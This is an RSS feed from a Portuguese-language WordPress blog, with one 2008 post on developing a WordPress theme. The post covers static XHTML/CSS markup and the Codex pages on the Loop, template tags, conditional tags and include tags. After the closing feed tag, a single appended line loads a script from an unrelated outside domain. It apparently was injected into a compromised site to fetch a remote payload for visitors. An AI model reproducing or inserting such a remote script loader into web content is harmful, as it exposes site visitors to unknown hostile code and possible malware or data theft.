

﻿














<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paulo Eduardo &#187; Wordpress</title>
	<atom:link href="http://www.pauloeduardo.com/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pauloeduardo.com</link>
	<description>Tecnologia, Desenvolvimeto Web, e um pouco mais.</description>
	<lastBuildDate>Wed, 17 Dec 2008 02:46:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>A Experiencia de Desenvolver para WordPress</title>
		<link>http://www.pauloeduardo.com/2008/02/11/a-experiencia-de-desenvolver-para-wordpress/</link>
		<comments>http://www.pauloeduardo.com/2008/02/11/a-experiencia-de-desenvolver-para-wordpress/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 16:59:28 +0000</pubDate>
		<dc:creator>Paulo Eduardo</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.pauloeduardo.com/2008/02/11/a-experiencia-de-desenvolver-para-wordpress/</guid>
		<description><![CDATA[Nossa série de documentação de projetos acabou com o layout, a partir daí se encerra a fase de documentação e se inicia a fase de codificação, e é dessa fase que pretendo falar agora. A codificação inciou com o desenvolvimento da camada de conteúdo, ou o XHTML, procurei utilizar as tags corretas para cada tipo [...]]]></description>
			<content:encoded><![CDATA[<p>Nossa série de documentação de projetos acabou com o layout, a partir daí se encerra a fase de documentação e se inicia a fase de codificação, e é dessa fase que pretendo falar agora.</p>
<p>A codificação inciou com o desenvolvimento da camada de conteúdo, ou o XHTML, procurei utilizar as tags corretas para cada tipo de informação inicialmente sem se preocupar com a parte visual que ficaria para o CSS, dividi o layout em três partes iniciais, o topo o conteúdo e o rodapé, e para cada uma dessa partes fui inserindo o uma amostra do que seria o conteúdo.</p>
<p>Inicialmente nenhuma tag wordpress foi utilizada, desenvolvi a marcação inteira do blog como se estivesse desenvolvendo um site estático, não tinha a menor idéia se seria fácil ou difícil adequar isso depois ao wordpress já que nunca tinha feito isso antes.</p>
<p>Após toda a marcação definida comecei a dar cor a estrutura com o uso das CSS, e somente quando tudo já estava do jeito que deveria estar porem com conteúdo falso que entrei na pagina do <a href="http://www.wordpress.org">wordpress</a> para consultar a <a href="http://codex.wordpress.org/Main_Page">documentação</a> e descobrir o que estava pela minha frente.</p>
<p>Alem da documentação abri os arquivos do template anterior para que pudesse acompanhar com um exemplo já pronto.</p>
<p>Foi então que descobri que estava fazendo tempestade em copo d&#8217;água, a documentação do wordpress contem uma excelente referencia sobre:</p>
<ul>
<li><a href="http://codex.wordpress.org/Theme_Development">Desenvolvimento de Temas</a></li>
<li><a href="http://codex.wordpress.org/The_Loop">O Loop</a></li>
<li><a href="http://codex.wordpress.org/Template_Tags">Template Tags</a></li>
<li><a href="http://codex.wordpress.org/Conditional_Tags">Conditional Tags</a></li>
<li><a href="http://codex.wordpress.org/Include_Tags">Include Tags</a></li>
</ul>
<p>A primeira pagina que visitei foi a de desenvolvimento de temas, essa pagina contem uma visão geral inicial sobre quais são os arquivos necessários a serem criados para que o seu tema funcione, quais devem ser seus nomes e um exemplo de comentário que deve estar presente na sua folha de estilo com as informações sobre o template.</p>
<p>Logo depois de saber como deveria proceder com os arquivos precisava saber como exibir os comentários na pagina, essa é a tarefa do loop, como o próprio nome já diz, ele realiza um loop nos artigos cadastrados no wordpress é exibe as informações especificas daquele artigo através das post tags descritas na pagina de template tags.</p>
<p>A pagina de template tags, alem das post tags, que apresentam informações como nome do artigo, data e conteúdo, contem também outras tags para exibição de informações ou blocos de informações na tela.</p>
<p>Com apenas as referencias contidas nessas três paginas já é possível desenvolver um tema para wordpress, porem a pagina de conditional tags contem os trechos de códigos necessários para verificar se uma pagina é pagina inicial, pagina de artigo, pagina de conteúdo, se os comentários estão habilitados, se o usuário logado tem perfil administrativo e todos os demais &#8220;se`s&#8221; possíveis.</p>
<p>A pagina de include tags contem as informações necessárias para que você possa separar trechos da pagina em diferentes arquivos, como se utilizasse o include nativo do php, e explica como esses arquivos deverão ser chamados.</p>
<p>Muito mais simples do que eu imaginava, e com uma ajuda imensa da facilidade proveniente do trabalho da equipe de desenvolvimento do wordpress e da excelente documentação da ferramenta.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pauloeduardo.com/2008/02/11/a-experiencia-de-desenvolver-para-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>